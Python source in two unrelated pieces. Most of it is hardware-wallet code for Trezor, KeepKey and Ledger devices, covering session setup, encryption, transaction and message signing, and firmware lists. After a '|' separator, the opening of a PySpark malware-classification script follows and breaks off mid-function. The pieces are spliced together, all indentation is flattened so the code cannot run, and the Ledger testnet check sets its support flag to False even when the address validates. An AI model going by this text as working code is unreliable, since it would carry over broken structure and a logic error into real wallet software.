if hw_device.hw_type == HWType.trezor:
try:
data = trezorlib.misc.encrypt_keyvalue(hw_device.hw_client, cast(Address, bip32_path_n), label,
value, ask_on_encrypt, ask_on_decrypt)
pub_key = trezorlib.btc.get_public_node(hw_device.hw_client, bip32_path_n).node.public_key
return data, pub_key
except (CancelException, trezorlib.exceptions.Cancelled):
raise CancelException()
elif hw_device.hw_type == HWType.keepkey:
data = hw_device.hw_client.encrypt_keyvalue(bip32_path_n, label, value, ask_on_encrypt, ask_on_decrypt)
pub_key = hw_device.hw_client.get_public_node(bip32_path_n).node.public_key
return data, pub_key
elif hw_device.hw_type == HWType.ledger_nano:
raise Exception('Feature not available for Ledger Nano S.')
else:
raise Exception('Invalid HW type: ' + HWType.get_desc(hw_device.hw_type))
if len(value) != 32:
raise ValueError("Invalid password length (<> 32).")
return WndUtils.run_thread_dialog(
encrypt, (), True, force_close_dlg_callback=partial(cancel_hw_thread_dialog, hw_device.hw_client),
show_window_delay_ms=200)
@staticmethod
def hw_decrypt_value(hw_device: HWDevice, bip32_path_n: List[int], label: str,
value: bytes, ask_on_encrypt=True, ask_on_decrypt=True) -> Tuple[bytearray, bytearray]:
"""
Encrypts value using hardware wallet.
:return Tuple
0: decrypted data
1: public key
"""
def decrypt(ctrl: CtrlObject):
ctrl.dlg_config(dlg_title="Data decryption", show_progress_bar=False)
ctrl.display_msg(f'<b>Decrypting \'{label}\'...</b><br><br>Enter the hardware wallet PIN/passphrase '
f'(if needed)<br> and click the confirmation button to decrypt data.')
if hw_device.hw_type == HWType.trezor:
try:
client = hw_device.hw_client
data = trezorlib.misc.decrypt_keyvalue(client, cast(Address, bip32_path_n), label, value,
ask_on_encrypt, ask_on_decrypt)
pub_key = trezorlib.btc.get_public_node(client, bip32_path_n).node.public_key
return data, pub_key
except (CancelException, trezorlib.exceptions.Cancelled):
raise CancelException()
elif hw_device.hw_type == HWType.keepkey:
client = hw_device.hw_client
data = client.decrypt_keyvalue(bip32_path_n, label, value, ask_on_encrypt, ask_on_decrypt)
pub_key = client.get_public_node(bip32_path_n).node.public_key
return data, pub_key
elif hw_device.hw_type == HWType.ledger_nano:
raise Exception('Feature not available for Ledger Nano S.')
else:
raise Exception('Invalid HW type: ' + HWType.get_desc(hw_device.hw_type))
if len(value) != 32:
raise ValueError("Invalid password length (<> 32).")
return WndUtils.run_thread_dialog(
decrypt, (), True, force_close_dlg_callback=partial(cancel_hw_thread_dialog, hw_device.hw_client))
class HwSessionInfo(HWSessionBase):
sig_hw_connected = QtCore.pyqtSignal(HWDevice)
sig_hw_disconnected = QtCore.pyqtSignal()
sig_hw_connection_error = QtCore.pyqtSignal(str)
def __init__(self, main_dlg, app_config: 'AppConfig', runtime_data: AppRuntimeData):
super().__init__()
self.__locks = {} # key: hw_client, value: EnhRLock
self.__main_dlg = main_dlg
self.__runtime_data: AppRuntimeData = runtime_data
self.__base_bip32_path: str = ''
self.__base_public_key: bytes = b''
self.__hd_tree_ident: str = ''
self.__use_webusb = app_config.trezor_webusb
self.__use_bridge = app_config.trezor_bridge
self.__use_udp = app_config.trezor_udp
self.__use_hid = app_config.trezor_hid
self.__passphrase_encoding: Optional[str] = app_config.hw_keepkey_psw_encoding
self.__hw_devices = HWDevices(use_webusb=self.__use_webusb, use_bridge=self.__use_bridge,
use_udp=self.__use_udp, use_hid=self.__use_hid,
passphrase_encoding=self.__passphrase_encoding)
def signal_hw_connected(self):
self.sig_hw_connected.emit(self.hw_device)
def signal_hw_disconnected(self):
self.sig_hw_disconnected.emit()
def signal_hw_connection_error(self, message):
self.sig_hw_connection_error.emit(message)
@property
def hw_device(self) -> Optional[HWDevice]:
return self.__hw_devices.get_selected_device()
def get_hw_client(self) -> Optional[object]:
hw_device = self.hw_device
if hw_device:
return hw_device.hw_client
return None
@property
def runtime_data(self) -> AppRuntimeData:
return self.__runtime_data
@property
def hw_type(self) -> Optional[HWType]:
if self.hw_device:
return self.hw_device.hw_type
else:
return None
@property
def hw_model(self) -> Optional[HWModel]:
if self.hw_device:
return self.hw_device.get_hw_model()
return None
def acquire_client(self):
cli = self.hw_client
if cli:
lock = self.__locks.get(cli)
if not lock:
lock = EnhRLock()
self.__locks[cli] = lock
lock.acquire()
def release_client(self):
cli = self.hw_client
if cli:
lock = self.__locks.get(cli)
if not lock:
raise Exception(f'Lock for client {str(cli)} not acquired before.')
lock.release()
def set_base_info(self, bip32_path: str, public_key: bytes):
self.__base_bip32_path = bip32_path
self.__base_public_key = public_key
self.__hd_tree_ident = SHA256.new(public_key).digest().hex()
@property
def base_bip32_path(self):
return self.__base_bip32_path
@property
def base_public_key(self):
return self.__base_public_key
def get_hd_tree_ident(self, coin_name: str):
if not coin_name:
raise Exception('Missing coin name')
if not self.__hd_tree_ident:
raise HWNotConnectedException()
return self.__hd_tree_ident + bytes(coin_name, 'ascii').hex()
def initiate_hw_session(self):
"""
Read this information from the hw device, that will cause it to ask the user for a BIP39 passphrase, if
necessary. The point is to make sure that the device is fully initiated and ready for next calls.
"""
def get_session_info_trezor(get_public_node_fun, hw_device_):
def call_get_public_node(_, get_public_node_fun_, path_n_):
pk = get_public_node_fun_(path_n_).node.public_key
return pk
path_ = dash_utils.get_default_bip32_base_path(self.__runtime_data.dash_network)
path_n = dash_utils.bip32_path_string_to_n(path_)
# show message for Trezor device while waiting for the user to choose the passphrase input method
pub = WndUtils.run_thread_dialog(
call_get_public_node, (get_public_node_fun, path_n),
title=DEFAULT_HW_BUSY_TITLE, text=DEFAULT_HW_BUSY_MESSAGE,
force_close_dlg_callback=partial(cancel_hw_thread_dialog, hw_device_.hw_client),
show_window_delay_ms=1000)
if pub:
self.set_base_info(path_, pub)
else:
raise Exception('Couldn\'t read data from the hardware wallet.')
hw_device = self.hw_device
if not hw_device:
raise Exception('Internal error: hw device not ready')
self.__hw_devices.open_hw_session(hw_device)
try:
if hw_device.hw_type == HWType.trezor:
try:
fun = partial(trezorlib.btc.get_public_node, hw_device.hw_client)
get_session_info_trezor(fun, hw_device)
except trezorlib.exceptions.Cancelled:
raise CancelException()
except trezorlib.exceptions.PinException as e:
raise HWPinException(e.args[1])
elif hw_device.hw_type == HWType.keepkey:
try:
get_session_info_trezor(hw_device.hw_client.get_public_node, hw_device)
except keepkeylib.client.PinException as e:
raise HWPinException(e.args[1])
elif hw_device.hw_type == HWType.ledger_nano:
path = dash_utils.get_default_bip32_base_path(self.__runtime_data.dash_network)
ap = ledger.get_address_and_pubkey(self, path)
self.set_base_info(path, ap['publicKey'])
except CancelException:
cancel_hw_operation(hw_device.hw_client)
self.__hw_devices.close_hw_session(hw_device)
raise
except Exception:
# in the case of error close the session
self.__hw_devices.close_hw_session(hw_device)
raise
def connect_hardware_wallet_main_th(self, reload_devices: bool = False) -> Optional[object]:
"""
Connects to hardware wallet device if not connected before. It must be called from the main thread.
:return: Reference to hw client or None if not connected.
"""
ret = None
reload_devices_ = reload_devices
if (not reload_devices_ and not self.__hw_devices.get_devices()) or not self.hw_client:
# (re)load hardware wallet devices connected to the computer, if they haven't been loaded yet
# or there is no session currently open to a hw device
reload_devices_ = True
self.__hw_devices.load_hw_devices(reload_devices_)
if not self.hw_client:
if len(self.__hw_devices.get_devices()) == 1:
self.__hw_devices.set_current_device_by_index(0)
elif len(self.__hw_devices.get_devices()) > 1:
device = self.__hw_devices.select_device(self.__main_dlg)
if not device:
raise CancelException('Cancelled')
else:
raise HWNotConnectedException("No hardware wallet device detected.")
try:
try:
self.initiate_hw_session()
if self.__runtime_data.dash_network == 'TESTNET':
# check if Dash testnet is supported by this hardware wallet
found_testnet_support = False
if self.hw_type in (HWType.trezor, HWType.keepkey):
try:
path = dash_utils.get_default_bip32_base_path(self.__runtime_data.dash_network)
path += "/0'/0/0"
path_n = dash_utils.bip32_path_string_to_n(path)
addr = get_address(self, path_n, False)
if addr and dash_utils.validate_address(addr, self.__runtime_data.dash_network):
found_testnet_support = True
except Exception as e:
if str(e).find('Invalid coin name') < 0:
raise
elif self.hw_type == HWType.ledger_nano:
addr = get_address(self, dash_utils.get_default_bip32_path(
self.__runtime_data.dash_network))
if dash_utils.validate_address(addr, self.__runtime_data.dash_network):
found_testnet_support = False
if not found_testnet_support:
url = get_note_url('DMT0002')
msg = f'Your hardware wallet device does not support Dash TESTNET ' \
f'(<a href="{url}">see details</a>).'
try:
self.disconnect_hardware_wallet()
except Exception:
pass
self.signal_hw_connection_error(msg)
return
self.signal_hw_connected()
except CancelException:
raise
except Exception as e:
logging.exception('Exception while connecting hardware wallet')
try:
self.disconnect_hardware_wallet()
except Exception:
pass
self.signal_hw_connection_error(str(e))
ret = self.hw_client
except CancelException:
raise
except HWPinException as e:
self.error_msg(e.msg)
if self.hw_client:
self.hw_client.clear_session()
except OSError:
self.error_msg('Cannot open %s device.' % self.getHwName(), True)
except Exception:
if self.hw_client:
self.hw_client.init_device()
else:
ret = self.hw_client
return ret
def connect_hardware_wallet(self) -> Optional[object]:
"""
Connects to hardware wallet device if not connected before.
:return: Reference to hw client or None if not connected.
"""
client = WndUtils.call_in_main_thread(self.connect_hardware_wallet_main_th)
return client
def disconnect_hardware_wallet(self) -> None:
if self.hw_client:
self.__hw_devices.close_hw_session(self.hw_device)
self.signal_hw_disconnected()
def save_state(self):
self.__hw_devices.save_state()
def restore_state(self):
self.__hw_devices.restore_state()
def set_hw_types_allowed(self, allowed: Tuple[HWType, ...]):
self.__hw_devices.set_hw_types_allowed(allowed)
def hw_encrypt_value(self, bip32_path_n: List[int], label: str,
value: bytes, ask_on_encrypt=True, ask_on_decrypt=True) -> Tuple[bytearray, bytearray]:
if self.connect_hardware_wallet():
hw_device = self.__hw_devices.get_selected_device()
if hw_device:
if hw_device.hw_type not in (HWType.trezor, HWType.keepkey):
raise Exception(HWType.get_desc(hw_device.hw_type) + ' device does not support data encryption.' )
return self.__hw_devices.hw_encrypt_value(self.__hw_devices.get_selected_device(), bip32_path_n, label,
value, ask_on_encrypt, ask_on_decrypt)
else:
raise Exception('Hardware wallet not available')
else:
raise Exception('Hardware wallet not available')
def hw_decrypt_value(self, bip32_path_n: List[int], label: str,
value: bytes, ask_on_encrypt=True, ask_on_decrypt=True) -> Tuple[bytearray, bytearray]:
if self.connect_hardware_wallet():
hw_device = self.__hw_devices.get_selected_device()
if hw_device:
if hw_device.hw_type not in (HWType.trezor, HWType.keepkey):
raise Exception(HWType.get_desc(hw_device.hw_type) + ' device does not support data encryption.' )
return self.__hw_devices.hw_decrypt_value(self.__hw_devices.get_selected_device(), bip32_path_n, label,
value, ask_on_encrypt, ask_on_decrypt)
else:
raise Exception('Hardware wallet not available')
else:
raise Exception('Hardware wallet not available')
class HWDevicesListWdg(QWidget):
sig_device_toggled = QtCore.pyqtSignal(HWDevice, bool)
def __init__(self, parent, hw_devices: HWDevices):
QWidget.__init__(self, parent=parent)
self.hw_devices: HWDevices = hw_devices
self.layout_main: Optional[QtWidgets.QVBoxLayout] = None
self.spacer: Optional[QtWidgets.QSpacerItem] = None
self.selected_hw_device: Optional[HWDevice] = self.hw_devices.get_selected_device()
self.setupUi(self)
def setupUi(self, dlg):
dlg.setObjectName("HWDevicesListWdg")
self.layout_main = QtWidgets.QVBoxLayout(dlg)
self.layout_main.setObjectName('layout_main')
self.layout_main.setContentsMargins(0, 0, 0, 0)
self.layout_main.setSpacing(3)
self.layout_main.setObjectName("verticalLayout")
self.spacer = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)
self.layout_main.addItem(self.spacer)
self.retranslateUi(dlg)
QtCore.QMetaObject.connectSlotsByName(dlg)
self.devices_to_ui()
def retranslateUi(self, widget):
_translate = QtCore.QCoreApplication.translate
widget.setWindowTitle(_translate("HWDevicesListWdg", "Form"))
def set_selected_hw_device(self, hw_device: Optional[HWDevice]):
self.selected_hw_device = hw_device
def devices_to_ui(self):
selected_device = self.selected_hw_device
for hl_index in reversed(range(self.layout_main.count())):
ctrl = self.layout_main.itemAt(hl_index)
if ctrl and isinstance(ctrl, QtWidgets.QHBoxLayout) and ctrl.objectName() and \
ctrl.objectName().startswith('hl-hw-device-'):
WndUtils.remove_item_from_layout(self.layout_main, ctrl)
# create a list of radio buttons associated with each hw device connected to the computer;
# each radio button is enclosed inside a horizontal layout along with a hyperlink control
# allowing the identification of the appropriate hw device by highlighting its screen
insert_idx = self.layout_main.indexOf(self.spacer)
dev_cnt = len(self.hw_devices.get_devices())
for idx, dev in enumerate(self.hw_devices.get_devices()):
hl = QtWidgets.QHBoxLayout()
hl.setSpacing(4)
hl.setObjectName('hl-hw-device-' + str(idx))
self.layout_main.insertLayout(insert_idx, hl)
rb = QtWidgets.QRadioButton(self)
rb.setText(dev.get_description())
rb.toggled.connect(partial(self.on_device_rb_toggled, idx))
if selected_device == dev:
rb.setChecked(True)
hl.addWidget(rb)
if dev_cnt > 1:
# link to identify hw devices show only if there are more then one connected to the computer
lnk = QtWidgets.QLabel(self)
lnk.setText('[<a href="identify-hw-device">ping device</a>]')
lnk.linkActivated.connect(partial(self.on_hw_show_link_activated, dev))
hl.addWidget(lnk)
hl.addSpacerItem(
QtWidgets.QSpacerItem(10, 10, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum))
insert_idx += 1
def on_device_rb_toggled(self, hw_device_index: int, checked: bool):
devs = self.hw_devices.get_devices()
if 0 <= hw_device_index < len(devs):
self.sig_device_toggled.emit(devs[hw_device_index], checked)
def on_hw_show_link_activated(self, hw_device, link):
try:
self.hw_devices.ping_device(hw_device)
except Exception as e:
WndUtils.error_msg(str(e), True)
def update(self):
self.devices_to_ui()
class SelectHWDeviceDlg(QDialog):
def __init__(self, parent, label: str, hw_devices: HWDevices):
QDialog.__init__(self, parent=parent)
self.hw_devices: HWDevices = hw_devices
self.selected_hw_device: Optional[HWDevice] = self.hw_devices.get_selected_device()
self.label = label
self.lay_main: Optional[QtWidgets.QVBoxLayout] = None
self.device_list_wdg: Optional[HWDevicesListWdg] = None
self.lbl_title: Optional[QtWidgets.QLabel] = None
self.btnbox_main: Optional[QtWidgets.QDialogButtonBox] = None
self.tm_update_dlg_size: Optional[int] = None
self.setupUi(self)
def setupUi(self, dialog):
dialog.setObjectName("SelectHWDevice")
self.lay_main = QtWidgets.QVBoxLayout(dialog)
self.lay_main.setContentsMargins(12, 12, 12, 3)
self.lay_main.setSpacing(12)
self.lay_main.setObjectName("lay_main")
self.device_list_wdg = HWDevicesListWdg(self.parent(), self.hw_devices)
self.device_list_wdg.sig_device_toggled.connect(self.on_device_toggled)
self.lbl_title = QtWidgets.QLabel(dialog)
self.lbl_title.setText(
'<span><b>Select your hardware wallet device</b> [<a href="reload-devices">reload devices</a>]</span>')
self.lbl_title.linkActivated.connect(self.on_reload_hw_devices)
self.lay_main.addWidget(self.lbl_title)
self.lay_main.addWidget(self.device_list_wdg)
self.btnbox_main = QtWidgets.QDialogButtonBox(dialog)
self.btnbox_main.setStandardButtons(QtWidgets.QDialogButtonBox.Cancel | QtWidgets.QDialogButtonBox.Ok)
self.btnbox_main.setObjectName("btn_main")
self.btnbox_main.accepted.connect(self.on_btn_main_accepted)
self.btnbox_main.rejected.connect(self.on_btn_main_rejected)
self.lay_main.addWidget(self.btnbox_main)
self.retranslateUi(dialog)
self.setFixedSize(self.sizeHint())
self.update_buttons_state()
def retranslateUi(self, dialog):
_translate = QtCore.QCoreApplication.translate
dialog.setWindowTitle('Hardware wallet selection')
@pyqtSlot(HWDevice, bool)
def on_device_toggled(self, device: HWDevice, selected: bool):
if not selected:
if device == self.selected_hw_device:
self.selected_hw_device = None
else:
self.selected_hw_device = device
self.update_buttons_state()
def on_reload_hw_devices(self, link):
try:
selected_id = self.selected_hw_device.device_id if self.selected_hw_device else None
anything_changed = self.hw_devices.load_hw_devices(force_fetch=True)
if selected_id:
# restore the device selected in the device list if was selected before and is still connected
self.selected_hw_device = self.hw_devices.get_device_by_id(selected_id)
self.device_list_wdg.set_selected_hw_device(self.selected_hw_device)
if anything_changed:
self.device_list_wdg.update()
# launch timer resizing the window size - resizing it directly here has no effect
self.tm_update_dlg_size = self.startTimer(10)
except Exception as e:
WndUtils.error_msg(str(e), True)
def timerEvent(self, event):
if self.tm_update_dlg_size:
self.killTimer(self.tm_update_dlg_size)
self.tm_update_dlg_size = None
self.setFixedSize(self.sizeHint())
def update_buttons_state(self):
b = self.btnbox_main.button(QtWidgets.QDialogButtonBox.Ok)
if b:
b.setEnabled(self.selected_hw_device is not None)
def on_btn_main_accepted(self):
if self.selected_hw_device is not None:
self.accept()
def on_btn_main_rejected(self):
self.reject()
@control_hw_call
def sign_tx(hw_session: HwSessionInfo, utxos_to_spend: List[UtxoType], tx_outputs: List[TxOutputType], tx_fee):
"""
Creates a signed transaction.
:param hw_session:
:param utxos_to_spend: list of utxos to send
:param tx_outputs: destination addresses. Fields: 0: dest Dash address. 1: the output value in satoshis,
2: the bip32 path of the address if the output is the change address or None otherwise
:param tx_fee: transaction fee
:return: tuple (serialized tx, total transaction amount in satoshis)
"""
def sign(ctrl):
ctrl.dlg_config(dlg_title="Confirm transaction signing.", show_progress_bar=False)
ctrl.display_msg('<b>Click the confirmation button on your hardware wallet<br>'
'and wait for the transaction to be signed...</b>')
if hw_session.hw_type == HWType.trezor:
return trezor.sign_tx(hw_session, hw_session.runtime_data, utxos_to_spend, tx_outputs, tx_fee)
elif hw_session.hw_type == HWType.keepkey:
return keepkey.sign_tx(hw_session, hw_session.runtime_data, utxos_to_spend, tx_outputs, tx_fee)
elif hw_session.hw_type == HWType.ledger_nano:
return ledger.sign_tx(hw_session, hw_session.runtime_data, utxos_to_spend, tx_outputs, tx_fee)
else:
logging.error('Invalid HW type: ' + str(hw_session.hw_type))
# execute the 'prepare' function, but due to the fact that the call blocks the UI until the user clicks the HW
# button, it's done inside a thread within a dialog that shows an appropriate message to the user
sig = WndUtils.run_thread_dialog(sign, (), True,
force_close_dlg_callback=partial(cancel_hw_thread_dialog, hw_session.hw_client))
return sig
@control_hw_call
def hw_sign_message(hw_session: HwSessionInfo, hw_coin_name: str, bip32path, message, display_label: str = None):
def sign(ctrl, display_label_):
ctrl.dlg_config(dlg_title="Confirm message signing.", show_progress_bar=False)
if not display_label_:
if hw_session.hw_type == HWType.ledger_nano:
message_hash = hashlib.sha256(message.encode('ascii')).hexdigest().upper()
display_label_ = '<b>Click the confirmation button on your hardware wallet to sign the message...</b>' \
'<br><br><b>Message:</b><br><span>' + message + '</span><br><br><b>SHA256 hash</b>:' \
'<br>' + message_hash
else:
display_label_ = '<b>Click the confirmation button on your hardware wallet to sign the message...</b>'
ctrl.display_msg(display_label_)
if hw_session.hw_type == HWType.trezor:
return trezor.sign_message(hw_session.hw_client, hw_coin_name, bip32path, message)
elif hw_session.hw_type == HWType.keepkey:
return keepkey.sign_message(hw_session.hw_client, hw_coin_name, bip32path, message)
elif hw_session.hw_type == HWType.ledger_nano:
return ledger.sign_message(hw_session.hw_client, bip32path, message, hw_session)
else:
logging.error('Invalid HW type: ' + str(hw_session.hw_type))
# execute the 'sign' function, but due to the fact that the call blocks the UI until the user clicks the HW
# button, it's done inside a thread within a dialog that shows an appropriate message to the user
sig = WndUtils.run_thread_dialog(sign, (display_label,), True,
force_close_dlg_callback=partial(cancel_hw_thread_dialog, hw_session.hw_client))
return sig
@control_hw_call
def get_address(hw_session: HwSessionInfo, bip32_path: str, show_display: bool = False,
message_to_display: str = None):
def _get_address(ctrl):
nonlocal hw_session, bip32_path, show_display, message_to_display
if ctrl:
ctrl.dlg_config(dlg_title=DEFAULT_HW_BUSY_TITLE, show_progress_bar=False)
if message_to_display:
ctrl.display_msg(message_to_display)
else:
ctrl.display_msg('<b>Click the confirmation button on your hardware wallet to exit...</b>')
client = hw_session.hw_client
if client:
if isinstance(bip32_path, str):
bip32_path.strip()
if bip32_path.lower().find('m/') >= 0:
# removing m/ prefix because of keepkey library
bip32_path = bip32_path[2:]
if hw_session.hw_type == HWType.trezor:
try:
if isinstance(bip32_path, str):
bip32_path = dash_utils.bip32_path_string_to_n(bip32_path)
ret = trezorlib.btc.get_address(client, hw_session.runtime_data.hw_coin_name, bip32_path,
show_display)
return ret
except (CancelException, trezorlib.exceptions.Cancelled):
raise CancelException()
elif hw_session.hw_type == HWType.keepkey:
try:
if isinstance(bip32_path, str):
bip32_path = dash_utils.bip32_path_string_to_n(bip32_path)
return client.get_address(hw_session.runtime_data.hw_coin_name, bip32_path, show_display)
except keepkeylib.client.CallException as e:
if isinstance(e.args, tuple) and len(e.args) >= 2 and isinstance(e.args[1], str) and \
e.args[1].find('cancel') >= 0:
raise CancelException('Cancelled')
elif hw_session.hw_type == HWType.ledger_nano:
if isinstance(bip32_path, list):
# ledger requires bip32 path argument as a string
bip32_path = bip32_path_n_to_string(bip32_path)
adr_pubkey = ledger.get_address_and_pubkey(hw_session, bip32_path, show_display)
return adr_pubkey.get('address')
else:
raise Exception('Unknown hardware wallet type: ' + str(hw_session.hw_type))
else:
raise Exception('HW client not open.')
if message_to_display or show_display:
msg_delay = 0
else:
msg_delay = 1000
message_to_display = DEFAULT_HW_BUSY_MESSAGE
return WndUtils.run_thread_dialog(_get_address, (), True, show_window_delay_ms=msg_delay,
force_close_dlg_callback=partial(cancel_hw_thread_dialog, hw_session.hw_client))
@control_hw_call
def get_address_and_pubkey(hw_session: HwSessionInfo, hw_coin_name: str, bip32_path: str):
client = hw_session.hw_client
if client:
if isinstance(bip32_path, str):
bip32_path.strip()
if bip32_path.lower().find('m/') >= 0:
# removing m/ prefix because of keepkey library
bip32_path = bip32_path[2:]
if hw_session.hw_type == HWType.trezor:
if isinstance(bip32_path, str):
bip32_path = dash_utils.bip32_path_string_to_n(bip32_path)
return {
'address': trezorlib.btc.get_address(client, hw_coin_name, bip32_path, False),
'publicKey': trezorlib.btc.get_public_node(client, bip32_path).node.public_key
}
elif hw_session.hw_type == HWType.keepkey:
if isinstance(bip32_path, str):
bip32_path = dash_utils.bip32_path_string_to_n(bip32_path)
return {
'address': client.get_address(hw_coin_name, bip32_path, False),
'publicKey': client.get_public_node(bip32_path).node.public_key
}
elif hw_session.hw_type == HWType.ledger_nano:
if isinstance(bip32_path, list):
# ledger requires bip32 path argument as a string
bip32_path = bip32_path_n_to_string(bip32_path)
return ledger.get_address_and_pubkey(hw_session, bip32_path)
else:
raise Exception('Unknown hardware wallet type: ' + str(hw_session.hw_type.value))
@control_hw_call
def get_xpub(hw_session: HwSessionInfo, bip32_path: str):
client = hw_session.hw_client
if client:
if isinstance(bip32_path, str):
bip32_path.strip()
if bip32_path.lower().find('m/') >= 0:
bip32_path = bip32_path[2:]
if hw_session.hw_type == HWType.trezor:
if isinstance(bip32_path, str):
bip32_path = dash_utils.bip32_path_string_to_n(bip32_path)
return trezorlib.btc.get_public_node(client, bip32_path).xpub
elif hw_session.hw_type == HWType.keepkey:
if isinstance(bip32_path, str):
bip32_path = dash_utils.bip32_path_string_to_n(bip32_path)
return client.get_public_node(bip32_path).xpub
elif hw_session.hw_type == HWType.ledger_nano:
if isinstance(bip32_path, list):
# ledger requires bip32 path argument as a string
bip32_path = bip32_path_n_to_string(bip32_path)
return ledger.get_xpub(client, bip32_path)
else:
raise Exception('Unknown hardware wallet type: ' + str(hw_session.hw_type))
else:
raise Exception('HW client not open.')
def get_hw_firmware_web_sources(hw_models_allowed: Tuple[HWModel, ...],
only_official=True, only_latest=False) -> List[HWFirmwareWebLocation]:
def get_trezor_firmware_list_from_url(
base_url: str, list_url: str, official_source: bool = False, only_latest: bool = False,
model_for_this_source: Optional[str] = None, testnet_support: bool = False) -> List[HWFirmwareWebLocation]:
ret_fw_sources_: List[HWFirmwareWebLocation] = []
r = urllib.request.Request(list_url, data=None, headers={'User-Agent': app_defs.BROWSER_USER_AGENT})
f = urllib.request.urlopen(r)
c = f.read()
fw_list = simplejson.loads(c)
latest_version = ''
for idx, f in enumerate(fw_list):
url_ = url_path_join(base_url, f.get('url'))
version = f.get('version')
if isinstance(version, list):
version = '.'.join(str(x) for x in version)
else:
version = str(version)
if idx == 0:
latest_version = version
cur_model_str = f.get('model') if f.get('model') else model_for_this_source
if not only_latest or version == latest_version:
allowed = next((x for x in hw_models_allowed if HWModel.get_hw_type(x) == HWType.trezor and
HWModel.get_model_str(x) == cur_model_str), None)
if allowed:
ret_fw_sources_.append(
HWFirmwareWebLocation(
version=version,
url=url_,
device=HWType.trezor,
official=official_source,
model=cur_model_str,
testnet_support=testnet_support,
notes=f.get('notes', ''),
fingerprint=f.get('fingerprint', ''),
changelog=f.get('changelog', '')
))
return ret_fw_sources_
def get_keepkey_firmware_list_from_url(
base_url: str, list_url: str, official_source: bool = False, only_latest: bool = False,
testnet_support: bool = False) -> List[HWFirmwareWebLocation]:
"""
Keepkey releases json format as of March 2021:
{
"latest": {
"firmware": {
"version": "v6.7.0",
"url": "v6.7.0/firmware.keepkey.bin"
},
"bootloader": {
"version": "v1.1.0",
"url": "bl_v1.1.0/blupdater.bin"
}
},
"hashes": {
"bootloader": {
"6397c446f6b9002a8b150bf4b9b4e0bb66800ed099b881ca49700139b0559f10": "v1.0.0",
.....
"9bf1580d1b21250f922b68794cdadd6c8e166ae5b15ce160a42f8c44a2f05936": "v2.0.0"
},
"firmware": {
"24071db7596f0824e51ce971c1ec39ac5a07e7a5bcaf5f1b33313de844e25580": "v6.7.0",
....
"a05b992c1cadb151117704a03af8b7020482061200ce7bc72f90e8e4aba01a4f": "v5.11.0"
}
}
}
"""
ret_fw_sources_: List[HWFirmwareWebLocation] = []
# Shapeshift doesn't allow querying their sites with firmware releases from non-browser code (error 403),
# so we need to pass some browser-looking "user agent" value.
r = urllib.request.Request(list_url, data=None, headers={'User-Agent': app_defs.BROWSER_USER_AGENT})
f = urllib.request.urlopen(r)
c = f.read()
fw_list = simplejson.loads(c)
latest_version = ''
if fw_list.get('latest') and fw_list.get('latest').get('firmware'):
latest_version = fw_list['latest']['firmware'].get('version')
latest_url = fw_list['latest']['firmware'].get('url')
if fw_list.get('hashes') and fw_list.get('hashes').get('firmware'):
hf = fw_list.get('hashes').get('firmware')
if isinstance(hf, dict):
for hash in hf:
version = hf[hash]
url_ = url_path_join(base_url, version, 'firmware.keepkey.bin')
if version.startswith('v'):
version = version[1:]
if not only_latest or version == latest_version:
ret_fw_sources_.append(
HWFirmwareWebLocation(
version=version,
url=url_,
device=HWType.keepkey,
official=official_source,
model='',
testnet_support=testnet_support,
fingerprint=hash
))
return ret_fw_sources_
ret_fw_sources: List[HWFirmwareWebLocation] = []
try:
project_url = app_defs.PROJECT_URL.replace('//github.com', '//raw.githubusercontent.com')
url = url_path_join(project_url, 'master', 'hardware-wallets/firmware/firmware-sources.json')
response = urllib.request.urlopen(url)
contents = response.read()
for fw_src_def in simplejson.loads(contents):
try:
official_source = fw_src_def.get('official')
hw_type = HWType.from_string(fw_src_def.get('device')) if fw_src_def.get('device') else None
hw_model_symbol = fw_src_def.get('model')
url = fw_src_def.get('url')
url_base = fw_src_def.get('url_base')
testnet_support = fw_src_def.get('testnetSupport', True)
if not url_base:
url_base = project_url
if not re.match('\s*http(s)?://', url, re.IGNORECASE):
url = url_path_join(url_base, url)
if only_official is False or official_source is True:
allowed_model = next((x for x in hw_models_allowed if HWModel.get_hw_type(x) == hw_type and
(not hw_model_symbol or HWModel.get_model_str(x) == hw_model_symbol)), None)
if allowed_model:
if hw_type == HWType.trezor:
lst = get_trezor_firmware_list_from_url(
base_url=url_base, list_url=url, only_latest=only_latest,
official_source=official_source, model_for_this_source=hw_model_symbol,
testnet_support=testnet_support)
ret_fw_sources.extend(lst)
elif hw_type == HWType.keepkey:
lst = get_keepkey_firmware_list_from_url(
base_url=url_base, list_url=url, official_source=official_source,
only_latest=only_latest, testnet_support=testnet_support)
ret_fw_sources.extend(lst)
except Exception:
logging.exception('Exception while processing firmware source')
except Exception as e:
logging.error('Error while loading hardware-wallets/firmware/releases.json file from GitHub: ' + str(e))
return ret_fw_sources
|
import argparse
import re
import numpy as np
from operator import add
from pyspark import SparkContext
from pyspark.ml.feature import NGram
from pyspark.sql import SparkSession
from pyspark.ml.linalg import Vectors
from pyspark.ml.feature import StringIndexer
from pyspark.ml.classification import RandomForestClassifier
from pyspark.sql.types import *
BYTES_PATTERN = re.compile(r'\s([A-F0-9]{2})\s')
SEGMENT_PATTERN = re.compile(r'([a-zA-Z]+):[a-zA-Z0-9]{8}[\t\s]')
OPCODE_PATTERN = re.compile(r'([\s])([A-F0-9]{2})([\s]+)([a-z]+)([\s+])')
def preprocess(data_folder_path, filenames, type):
myRDDlist = []
for filename in filenames:
new_rdd = sc.textFile(data_folder_path +"/"+ filename + type).map(lambda x: (filename,x)).groupByKey().map(lambda x: (x[0],' '.join(x[1])))
myRDDlist.append(new_rdd)
Spark_Full = sc.union(myRDDlist)
return Spark_Full
def get_filename_label_pair(filenames_data_rdd,labels_rdd):
"""
This function matches the filename with label
--input-------------------------------------
filenames_data_rdd : [<hash1>, <hash2>, ...]
labels_rdd : [label1, label2, ...]
--output------------------------------------
filename_label_pair : [(<hash1>,<label1>), (<hash2>,<label2>), ...]
"""
id_filenames_rdd = filenames_data_rdd.zipWithIndex().map(lambda x: (x[1],x[0]))
id_label_rdd = labels_rdd.zipWithIndex().map(lambda x: (x[1],x[0]))
filename_label_pair = id_filenames_rdd.join(id_label_rdd).map(lambda x: x[1])
return filename_label_pair
def extract_features(file_rdd, feature_name):
"""
This function extracts the required features
--input-------------------------------------
file_rdd : [(<hash1>, <content1>), ...]
feature_name : str
--output------------------------------------
filename_label_pair : [(<hash1>,<feature1>), (<hash1>,<feature2>), ..., (<hashN>,<featureK>)]
"""
if feature_name=='bytes':
